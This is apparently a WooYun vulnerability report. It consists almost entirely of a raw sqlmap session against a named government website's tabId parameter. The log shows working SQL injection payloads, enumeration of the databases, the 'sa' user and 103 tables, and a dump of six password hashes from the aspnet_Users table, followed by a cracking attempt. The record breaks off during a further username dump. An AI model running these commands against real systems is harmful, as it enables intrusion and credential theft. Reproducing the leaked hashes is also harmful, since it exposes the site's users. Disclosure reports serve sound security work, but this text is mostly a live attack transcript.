WooYun.org

pentest
[root@Hacker~]# Sqlmap -u http://www.fdzy.gov.cn/fdzy/newsByTabIdAction.do?tabId
=292
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 14:12:07
[14:12:07] [INFO] testing connection to the target url
[14:12:08] [INFO] testing if the url is stable, wait a few seconds
[14:12:09] [INFO] url is stable
[14:12:10] [INFO] testing if GET parameter 'tabId' is dynamic
[14:12:10] [INFO] confirming that GET parameter 'tabId' is dynamic
[14:12:10] [WARNING] GET parameter 'tabId' appears to be not dynamic
[14:12:12] [WARNING] reflective value(s) found and filtering out
[14:12:12] [WARNING] heuristic test shows that GET parameter 'tabId' might not b
e injectable
[14:12:12] [INFO] testing for SQL injection on GET parameter 'tabId'
[14:12:12] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:12:33] [INFO] GET parameter 'tabId' is 'AND boolean-based blind - WHERE or H
AVING clause' injectable
[14:12:33] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[14:12:36] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[14:12:40] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[14:12:40] [INFO] GET parameter 'tabId' is 'Microsoft SQL Server/Sybase AND erro
r-based - WHERE or HAVING clause' injectable
[14:12:40] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[14:12:41] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[14:12:44] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[14:12:45] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[14:12:48] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[14:12:51] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[14:12:51] [INFO] testing 'Oracle AND time-based blind'
[14:12:55] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[14:12:55] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[14:13:22] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
GET parameter 'tabId' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 61 HTTP(s) requ
ests:
---
Place: GET
Parameter: tabId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: tabId=292' AND 7389=7389 AND 'BYlY'='BYlY
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: tabId=292' AND 9392=CONVERT(INT,(CHAR(58)+CHAR(98)+CHAR(100)+CHAR(1
06)+CHAR(58)+(SELECT (CASE WHEN (9392=9392) THEN CHAR(49) ELSE CHAR(48) END))+CH
AR(58)+CHAR(117)+CHAR(117)+CHAR(112)+CHAR(58))) AND 'qnZj'='qnZj
---
[14:14:06] [INFO] testing MySQL
[14:14:07] [WARNING] the back-end DBMS is not MySQL
[14:14:07] [INFO] testing Oracle
[14:14:08] [WARNING] the back-end DBMS is not Oracle
[14:14:08] [INFO] testing PostgreSQL
[14:14:08] [WARNING] the back-end DBMS is not PostgreSQL
[14:14:08] [INFO] testing Microsoft SQL Server
[14:14:18] [INFO] confirming Microsoft SQL Server
[14:14:25] [INFO] the back-end DBMS is Microsoft SQL Server
back-end DBMS: Microsoft SQL Server 2005
[14:14:25] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 70 times
[14:14:25] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[14:14:25] [INFO] fetched data logged to text files under 'C:\DOCUME~1\ADMINI~1\
??\salmap\Bin\output\www.fdzy.gov.cn'
[*] shutting down at 14:14:25
[root@Hacker~]# Sqlmap -u http://www.fdzy.gov.cn/fdzy/newsByTabIdAction.do?tabId
=292 --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 14:14:39
[14:14:39] [INFO] resuming back-end DBMS 'microsoft sql server'
[14:14:39] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: tabId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: tabId=292' AND 7389=7389 AND 'BYlY'='BYlY
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: tabId=292' AND 9392=CONVERT(INT,(CHAR(58)+CHAR(98)+CHAR(100)+CHAR(1
06)+CHAR(58)+(SELECT (CASE WHEN (9392=9392) THEN CHAR(49) ELSE CHAR(48) END))+CH
AR(58)+CHAR(117)+CHAR(117)+CHAR(112)+CHAR(58))) AND 'qnZj'='qnZj
---
[14:14:40] [INFO] the back-end DBMS is Microsoft SQL Server
back-end DBMS: Microsoft SQL Server 2005
[14:14:40] [INFO] fetching database names
[14:14:40] [WARNING] reflective value(s) found and filtering out
[14:14:40] [INFO] the SQL query used returns 7 entries
[14:14:41] [INFO] retrieved: master
[14:14:44] [INFO] retrieved: model
[14:14:47] [INFO] retrieved: msdb
[14:14:48] [INFO] retrieved: qingdao
[14:14:48] [INFO] retrieved: ReportServer$QDFDWEB
[14:14:48] [INFO] retrieved: ReportServer$QDFDWEBTempDB
[14:14:58] [INFO] retrieved: tempdb
available databases [7]:
[*] master
[*] model
[*] msdb
[*] qingdao
[*] ReportServer$QDFDWEB
[*] ReportServer$QDFDWEBTempDB
[*] tempdb
[14:14:58] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 8 times
[14:14:58] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[14:14:58] [INFO] fetched data logged to text files under 'C:\DOCUME~1\ADMINI~1\
??\salmap\Bin\output\www.fdzy.gov.cn'
[*] shutting down at 14:14:58
============================================================================================
[root@Hacker~]# Sqlmap -u http://www.fdzy.gov.cn/fdzy/newsByTabIdAction.do?tabId
=292 --current-user
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 14:16:55
[14:16:55] [INFO] resuming back-end DBMS 'microsoft sql server'
[14:16:55] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: tabId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: tabId=292' AND 7389=7389 AND 'BYlY'='BYlY
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: tabId=292' AND 9392=CONVERT(INT,(CHAR(58)+CHAR(98)+CHAR(100)+CHAR(1
06)+CHAR(58)+(SELECT (CASE WHEN (9392=9392) THEN CHAR(49) ELSE CHAR(48) END))+CH
AR(58)+CHAR(117)+CHAR(117)+CHAR(112)+CHAR(58))) AND 'qnZj'='qnZj
---
[14:16:56] [INFO] the back-end DBMS is Microsoft SQL Server
back-end DBMS: Microsoft SQL Server 2005
[14:16:56] [INFO] fetching current user
[14:16:57] [WARNING] reflective value(s) found and filtering out
[14:16:57] [INFO] retrieved: sa
current user: 'sa'
[14:16:57] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 1 times
[14:16:57] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[14:16:57] [INFO] fetched data logged to text files under 'C:\DOCUME~1\ADMINI~1\
??\salmap\Bin\output\www.fdzy.gov.cn'
[*] shutting down at 14:16:57
============================================================================================
[root@Hacker~]# Sqlmap -u http://www.fdzy.gov.cn/fdzy/newsByTabIdAction.do?tabId
=292 --current-db
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 14:17:48
[14:17:48] [INFO] resuming back-end DBMS 'microsoft sql server'
[14:17:48] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: tabId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: tabId=292' AND 7389=7389 AND 'BYlY'='BYlY
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: tabId=292' AND 9392=CONVERT(INT,(CHAR(58)+CHAR(98)+CHAR(100)+CHAR(1
06)+CHAR(58)+(SELECT (CASE WHEN (9392=9392) THEN CHAR(49) ELSE CHAR(48) END))+CH
AR(58)+CHAR(117)+CHAR(117)+CHAR(112)+CHAR(58))) AND 'qnZj'='qnZj
---
[14:17:58] [INFO] the back-end DBMS is Microsoft SQL Server
back-end DBMS: Microsoft SQL Server 2005
[14:17:58] [INFO] fetching current database
[14:18:02] [WARNING] reflective value(s) found and filtering out
[14:18:02] [INFO] retrieved: qingdao
current database: 'qingdao'
[14:18:02] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 1 times
[14:18:02] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[14:18:02] [INFO] fetched data logged to text files under 'C:\DOCUME~1\ADMINI~1\
??\salmap\Bin\output\www.fdzy.gov.cn'
[*] shutting down at 14:18:02
============================================================================================
[root@Hacker~]# Sqlmap -u http://www.fdzy.gov.cn/fdzy/newsByTabIdAction.do?tabId
=292 --tables -D "qingdao"
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 14:18:43
[14:18:43] [INFO] resuming back-end DBMS 'microsoft sql server'
[14:18:43] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: tabId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: tabId=292' AND 7389=7389 AND 'BYlY'='BYlY
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: tabId=292' AND 9392=CONVERT(INT,(CHAR(58)+CHAR(98)+CHAR(100)+CHAR(1
06)+CHAR(58)+(SELECT (CASE WHEN (9392=9392) THEN CHAR(49) ELSE CHAR(48) END))+CH
AR(58)+CHAR(117)+CHAR(117)+CHAR(112)+CHAR(58))) AND 'qnZj'='qnZj
---
[14:18:43] [INFO] the back-end DBMS is Microsoft SQL Server
back-end DBMS: Microsoft SQL Server 2005
[14:18:43] [INFO] fetching tables for database: qingdao
[14:18:44] [WARNING] reflective value(s) found and filtering out
[14:18:44] [INFO] the SQL query used returns 103 entries
[14:18:44] [INFO] retrieved: dbo.Affiliates
[14:18:45] [INFO] retrieved: dbo.Announcements
[14:18:45] [INFO] retrieved: dbo.AnonymousUsers
[14:18:46] [INFO] retrieved: dbo.Article
[14:18:46] [INFO] retrieved: dbo.aspnet_Applications
[14:18:46] [INFO] retrieved: dbo.aspnet_Membership
[14:18:47] [INFO] retrieved: dbo.aspnet_Profile
[14:18:47] [INFO] retrieved: dbo.aspnet_Roles
[14:18:48] [INFO] retrieved: dbo.aspnet_SchemaVersions
[14:18:48] [INFO] retrieved: dbo.aspnet_Users
[14:18:49] [INFO] retrieved: dbo.aspnet_UsersInRoles
[14:18:49] [INFO] retrieved: dbo.Banners
[14:18:50] [INFO] retrieved: dbo.Categories
[14:18:53] [INFO] retrieved: dbo.Classification
[14:18:54] [INFO] retrieved: dbo.COMPLAINTDETAILS
[14:18:57] [INFO] retrieved: dbo.ComplaintType
[14:18:58] [INFO] retrieved: dbo.Contacts
[14:18:58] [INFO] retrieved: dbo.CrossArticle
[14:18:59] [INFO] retrieved: dbo.CrossArticleCategory
[14:18:59] [INFO] retrieved: dbo.CrossArticleRole
[14:19:00] [INFO] retrieved: dbo.CrossCategory
[14:19:00] [INFO] retrieved: dbo.Department
[14:19:00] [INFO] retrieved: dbo.DesktopModules
[14:19:04] [INFO] retrieved: dbo.Discussion
[14:19:05] [INFO] retrieved: dbo.Documents
[14:19:06] [INFO] retrieved: dbo.dtproperties
[14:19:06] [INFO] retrieved: dbo.EMapDataViewDagger
[14:19:07] [INFO] retrieved: dbo.EMapTech_PolicyLaw
[14:19:08] [INFO] retrieved: dbo.EMapTech_PopUpAnnounce
[14:19:08] [INFO] retrieved: dbo.EMapTech_ReportOffense
[14:19:09] [INFO] retrieved: dbo.EMapTech_TextQuery
[14:19:10] [INFO] retrieved: dbo.Enterip
[14:19:11] [INFO] retrieved: dbo.Events
[14:19:11] [INFO] retrieved: dbo.FAQs
[14:19:12] [INFO] retrieved: dbo.FAQSTYPE
[14:19:13] [INFO] retrieved: dbo.Files
[14:19:14] [INFO] retrieved: dbo.FolderPermission
[14:19:14] [INFO] retrieved: dbo.Folders
[14:19:15] [INFO] retrieved: dbo.GuestBook_GuestbookEntry
[14:19:18] [INFO] retrieved: dbo.HisoNews
[14:19:18] [INFO] retrieved: dbo.HisoVote
[14:19:19] [INFO] retrieved: dbo.HostSettings
[14:19:20] [INFO] retrieved: dbo.HtmlText
[14:19:20] [INFO] retrieved: dbo.leaderInformation
[14:19:21] [INFO] retrieved: dbo.Links
[14:19:22] [INFO] retrieved: dbo.Lists
[14:19:22] [INFO] retrieved: dbo.menu
[14:19:23] [INFO] retrieved: dbo.ModuleControls
[14:19:24] [INFO] retrieved: dbo.ModuleDefinitions
[14:19:25] [INFO] retrieved: dbo.ModulePermission
[14:19:25] [INFO] retrieved: dbo.Modules
[14:19:26] [INFO] retrieved: dbo.ModuleSettings
[14:19:27] [INFO] retrieved: dbo.net_bbkz
[14:19:28] [INFO] retrieved: dbo.organinfo
[14:19:28] [INFO] retrieved: dbo.Permission
[14:19:29] [INFO] retrieved: dbo.PortalAlias
[14:19:30] [INFO] retrieved: dbo.portalalias_bak
[14:19:31] [INFO] retrieved: dbo.PortalDesktopModules
[14:19:33] [INFO] retrieved: dbo.Portals
[14:19:34] [INFO] retrieved: dbo.POSTS
[14:19:35] [INFO] retrieved: dbo.Profile
[14:19:35] [INFO] retrieved: dbo.rolemenu
[14:19:36] [INFO] retrieved: dbo.Roles
[14:19:37] [INFO] retrieved: dbo.Schedule
[14:19:38] [INFO] retrieved: dbo.ScheduleHistory
[14:19:39] [INFO] retrieved: dbo.ScheduleItemSettings
[14:19:42] [INFO] retrieved: dbo.SearchBljd
[14:19:46] [INFO] retrieved: dbo.SearchCommonWords
[14:19:50] [INFO] retrieved: dbo.SearchIndexer
[14:19:52] [INFO] retrieved: dbo.SearchItem
[14:19:54] [INFO] retrieved: dbo.SearchItemWord
[14:20:01] [INFO] retrieved: dbo.SearchItemWordPosition
[14:20:02] [INFO] retrieved: dbo.SearchWord
[14:20:02] [INFO] retrieved: dbo.SearchXzsp
[14:20:03] [INFO] retrieved: dbo.SecretaryMail
[14:20:07] [INFO] retrieved: dbo.SiteLog
[14:20:07] [INFO] retrieved: dbo.Skins
[14:20:08] [INFO] retrieved: dbo.SystemMessages
[14:20:09] [INFO] retrieved: dbo.TabModules
[14:20:09] [INFO] retrieved: dbo.TabModuleSettings
[14:20:10] [INFO] retrieved: dbo.TabPermission
[14:20:10] [INFO] retrieved: dbo.tabs
[14:20:11] [INFO] retrieved: dbo.UrlLog
[14:20:12] [INFO] retrieved: dbo.Urls
[14:20:13] [INFO] retrieved: dbo.UrlTracking
[14:20:14] [INFO] retrieved: dbo.UserDefinedData
[14:20:14] [INFO] retrieved: dbo.UserDefinedFields
[14:20:16] [INFO] retrieved: dbo.UserDefinedRows
[14:20:16] [INFO] retrieved: dbo.UserInfo
[14:20:17] [INFO] retrieved: dbo.UserPortals
[14:20:18] [INFO] retrieved: dbo.UserRoles
[14:20:18] [INFO] retrieved: dbo.Users
[14:20:19] [INFO] retrieved: dbo.UsersOnline
[14:20:20] [INFO] retrieved: dbo.VendorClassification
[14:20:20] [INFO] retrieved: dbo.Vendors
[14:20:21] [INFO] retrieved: dbo.Version
[14:20:22] [INFO] retrieved: dbo.vw_aspnet_Applications
[14:20:22] [INFO] retrieved: dbo.vw_aspnet_MembershipUsers
[14:20:23] [INFO] retrieved: dbo.vw_aspnet_Profiles
[14:20:24] [INFO] retrieved: dbo.vw_aspnet_Roles
[14:20:24] [INFO] retrieved: dbo.vw_aspnet_Users
[14:20:25] [INFO] retrieved: dbo.vw_aspnet_UsersInRoles
[14:20:26] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[14:20:26] [INFO] retrieved: dbo.???
Database: qingdao
[103 tables]
+-------------------------------+
| dbo.Affiliates |
| dbo.Announcements |
| dbo.AnonymousUsers |
| dbo.Article |
| dbo.Banners |
| dbo.COMPLAINTDETAILS |
| dbo.Categories |
| dbo.Classification |
| dbo.ComplaintType |
| dbo.Contacts |
| dbo.CrossArticle |
| dbo.CrossArticleCategory |
| dbo.CrossArticleRole |
| dbo.CrossCategory |
| dbo.Department |
| dbo.DesktopModules |
| dbo.Discussion |
| dbo.Documents |
| dbo.EMapDataViewDagger |
| dbo.EMapTech_PolicyLaw |
| dbo.EMapTech_PopUpAnnounce |
| dbo.EMapTech_ReportOffense |
| dbo.EMapTech_TextQuery |
| dbo.Enterip |
| dbo.Events |
| dbo.FAQSTYPE |
| dbo.FAQs |
| dbo.Files |
| dbo.FolderPermission |
| dbo.Folders |
| dbo.GuestBook_GuestbookEntry |
| dbo.HisoNews |
| dbo.HisoVote |
| dbo.HostSettings |
| dbo.HtmlText |
| dbo.Links |
| dbo.Lists |
| dbo.ModuleControls |
| dbo.ModuleDefinitions |
| dbo.ModulePermission |
| dbo.ModuleSettings |
| dbo.Modules |
| dbo.POSTS |
| dbo.Permission |
| dbo.PortalAlias |
| dbo.PortalDesktopModules |
| dbo.Portals |
| dbo.Profile |
| dbo.Roles |
| dbo.Schedule |
| dbo.ScheduleHistory |
| dbo.ScheduleItemSettings |
| dbo.SearchBljd |
| dbo.SearchCommonWords |
| dbo.SearchIndexer |
| dbo.SearchItem |
| dbo.SearchItemWord |
| dbo.SearchItemWordPosition |
| dbo.SearchWord |
| dbo.SearchXzsp |
| dbo.SecretaryMail |
| dbo.SiteLog |
| dbo.Skins |
| dbo.SystemMessages |
| dbo.TabModuleSettings |
| dbo.TabModules |
| dbo.TabPermission |
| dbo.UrlLog |
| dbo.UrlTracking |
| dbo.Urls |
| dbo.UserDefinedData |
| dbo.UserDefinedFields |
| dbo.UserDefinedRows |
| dbo.UserInfo |
| dbo.UserPortals |
| dbo.UserRoles |
| dbo.Users |
| dbo.UsersOnline |
| dbo.VendorClassification |
| dbo.Vendors |
| dbo.Version |
| dbo.[???] |
| dbo.aspnet_Applications |
| dbo.aspnet_Membership |
| dbo.aspnet_Profile |
| dbo.aspnet_Roles |
| dbo.aspnet_SchemaVersions |
| dbo.aspnet_Users |
| dbo.aspnet_UsersInRoles |
| dbo.dtproperties |
| dbo.leaderInformation |
| dbo.menu |
| dbo.net_bbkz |
| dbo.organinfo |
| dbo.portalalias_bak |
| dbo.rolemenu |
| dbo.tabs |
| dbo.vw_aspnet_Applications |
| dbo.vw_aspnet_MembershipUsers |
| dbo.vw_aspnet_Profiles |
| dbo.vw_aspnet_Roles |
| dbo.vw_aspnet_Users |
| dbo.vw_aspnet_UsersInRoles |
+-------------------------------+
[14:20:26] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 104 times
[14:20:26] [INFO] fetched data logged to text files under 'C:\DOCUME~1\ADMINI~1\
??\salmap\Bin\output\www.fdzy.gov.cn'
[*] shutting down at 14:20:26
============================================================================================
[root@Hacker~]# Sqlmap -u http://www.fdzy.gov.cn/fdzy/newsByTabIdAction.do?tabId
=292 --columns -T "dbo.aspnet_Users" -D "qingdao"
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 14:26:29
[14:26:29] [INFO] resuming back-end DBMS 'microsoft sql server'
[14:26:29] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: tabId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: tabId=292' AND 7389=7389 AND 'BYlY'='BYlY
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: tabId=292' AND 9392=CONVERT(INT,(CHAR(58)+CHAR(98)+CHAR(100)+CHAR(1
06)+CHAR(58)+(SELECT (CASE WHEN (9392=9392) THEN CHAR(49) ELSE CHAR(48) END))+CH
AR(58)+CHAR(117)+CHAR(117)+CHAR(112)+CHAR(58))) AND 'qnZj'='qnZj
---
[14:26:30] [INFO] the back-end DBMS is Microsoft SQL Server
back-end DBMS: Microsoft SQL Server 2005
[14:26:30] [INFO] fetching columns for table 'aspnet_Users' in database 'qingdao
'
[14:26:31] [WARNING] reflective value(s) found and filtering out
[14:26:31] [INFO] the SQL query used returns 8 entries
[14:26:31] [INFO] retrieved: ApplicationId
[14:26:32] [INFO] retrieved: uniqueidentifier
[14:26:32] [INFO] retrieved: IsAnonymous
[14:26:33] [INFO] retrieved: bit
[14:26:34] [INFO] retrieved: LastActivityDate
[14:26:34] [INFO] retrieved: datetime
[14:26:35] [INFO] retrieved: LoweredUserName
[14:26:35] [INFO] retrieved: nvarchar
[14:26:36] [INFO] retrieved: MobileAlias
[14:26:37] [INFO] retrieved: nvarchar
[14:26:37] [INFO] retrieved: pwd
[14:26:38] [INFO] retrieved: varchar
[14:26:38] [INFO] retrieved: UserId
[14:26:39] [INFO] retrieved: uniqueidentifier
[14:26:40] [INFO] retrieved: UserName
[14:26:40] [INFO] retrieved: nvarchar
Database: qingdao
Table: dbo.aspnet_Users
[8 columns]
+------------------+------------------+
| Column | Type |
+------------------+------------------+
| ApplicationId | uniqueidentifier |
| IsAnonymous | bit |
| LastActivityDate | datetime |
| LoweredUserName | nvarchar |
| MobileAlias | nvarchar |
| pwd | varchar |
| UserId | uniqueidentifier |
| UserName | nvarchar |
+------------------+------------------+
[14:26:40] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 17 times
[14:26:40] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[14:26:40] [INFO] fetched data logged to text files under 'C:\DOCUME~1\ADMINI~1\
??\salmap\Bin\output\www.fdzy.gov.cn'
[*] shutting down at 14:26:40
============================================================================================
[root@Hacker~]# Sqlmap -u http://www.fdzy.gov.cn/fdzy/newsByTabIdAction.do?tabId
=292 --dump -C "pwd" -T "dbo.aspnet_Users" -D "qingdao"
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 14:38:12
[14:38:12] [INFO] resuming back-end DBMS 'microsoft sql server'
[14:38:12] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: tabId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: tabId=292' AND 7389=7389 AND 'BYlY'='BYlY
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: tabId=292' AND 9392=CONVERT(INT,(CHAR(58)+CHAR(98)+CHAR(100)+CHAR(1
06)+CHAR(58)+(SELECT (CASE WHEN (9392=9392) THEN CHAR(49) ELSE CHAR(48) END))+CH
AR(58)+CHAR(117)+CHAR(117)+CHAR(112)+CHAR(58))) AND 'qnZj'='qnZj
---
[14:38:13] [INFO] the back-end DBMS is Microsoft SQL Server
back-end DBMS: Microsoft SQL Server 2005
[14:38:13] [INFO] fetching entries of column(s) 'pwd' for table 'aspnet_Users' i
n database 'qingdao'
[14:38:13] [WARNING] reflective value(s) found and filtering out
[14:38:13] [INFO] retrieved: 12
[14:38:13] [INFO] fetching number of distinct values for column 'pwd'
[14:38:14] [INFO] retrieved: 6
[14:38:14] [WARNING] no proper pivot column provided (with unique values). It wo
n't be possible to retrieve all rows
[14:38:14] [INFO] retrieved: 1d5e429db9938eefb2d7a7b89abbb58c
[14:38:14] [INFO] retrieved: 3755e6f774ba2d462dcc39c71ad9af8e
[14:38:15] [INFO] retrieved: a0596cc65651b376bb256394c98d788a
[14:38:15] [INFO] retrieved: b59c67bf196a4758191e42f76670ceba
[14:38:16] [INFO] retrieved: e10adc3949ba59abbe56e057f20f883e
[14:38:16] [INFO] retrieved: e35cf7b66449df565f93c607d5a81d09
[14:38:16] [INFO] analyzing table dump for possible password hashes
recognized possible password hashes in column 'pwd'. Do you want to crack them v
ia a dictionary-based attack? [y/N/q] y
[14:38:19] [INFO] using hash method 'md5_generic_passwd'
[14:38:19] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
what dictionary do you want to use?
[1] default dictionary file 'C:\DOCUME~1\ADMINI~1\??\salmap\Bin\txt\wordlist.zip
' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
>
[14:38:20] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N]
[14:38:20] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[14:38:20] [INFO] starting 2 processes
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 14:38:21
Usage: C:\DOCUME~1\ADMINI~1\桌面\salmap\Bin\Sqlmap.exe [options]
Sqlmap.exe: error: no such option: --multiprocessing-fork
Press Enter to continue...
[*] shutting down at 14:38:21
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 14:38:21
Usage: C:\DOCUME~1\ADMINI~1\桌面\salmap\Bin\Sqlmap.exe [options]
Sqlmap.exe: error: no such option: --multiprocessing-fork
Press Enter to continue...
[*] shutting down at 14:38:22
[14:38:22] [INFO] writing uncracked hashes to file 'c:\docume~1\admini~1\locals~
1\temp\tmpaln4yg.txt' for eventual further processing
[14:38:22] [WARNING] no clear password(s) found
[14:38:22] [INFO] postprocessing table dump
Database: qingdao
Table: dbo.aspnet_Users
[6 entries]
+----------------------------------+
| pwd |
+----------------------------------+
| 1d5e429db9938eefb2d7a7b89abbb58c |
| 3755e6f774ba2d462dcc39c71ad9af8e |
| a0596cc65651b376bb256394c98d788a |
| b59c67bf196a4758191e42f76670ceba |
| e10adc3949ba59abbe56e057f20f883e |
| e35cf7b66449df565f93c607d5a81d09 |
+----------------------------------+
[14:38:22] [INFO] table 'qingdao.dbo.aspnet_Users' dumped to CSV file 'C:\DOCUME
~1\ADMINI~1\??\salmap\Bin\output\www.fdzy.gov.cn\dump\qingdao\aspnet_Users.csv'
[14:38:22] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 9 times
[14:38:22] [INFO] fetched data logged to text files under 'C:\DOCUME~1\ADMINI~1\
??\salmap\Bin\output\www.fdzy.gov.cn'
[*] shutting down at 14:38:22
============================================================================================
[root@Hacker~]# Sqlmap -u http://www.fdzy.gov.cn/fdzy/newsByTabIdAction.do?tabId
=292 --dump -C "UserName" -T "dbo.aspnet_Users" -D "qingdao"
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 14:39:24
[14:39:24] [INFO] resuming back-end DBMS 'microsoft sql server'
[14:39:24] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: tabId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: tabId=292' AND 7389=7389 AND 'BYlY'='BYlY
Type: error-based
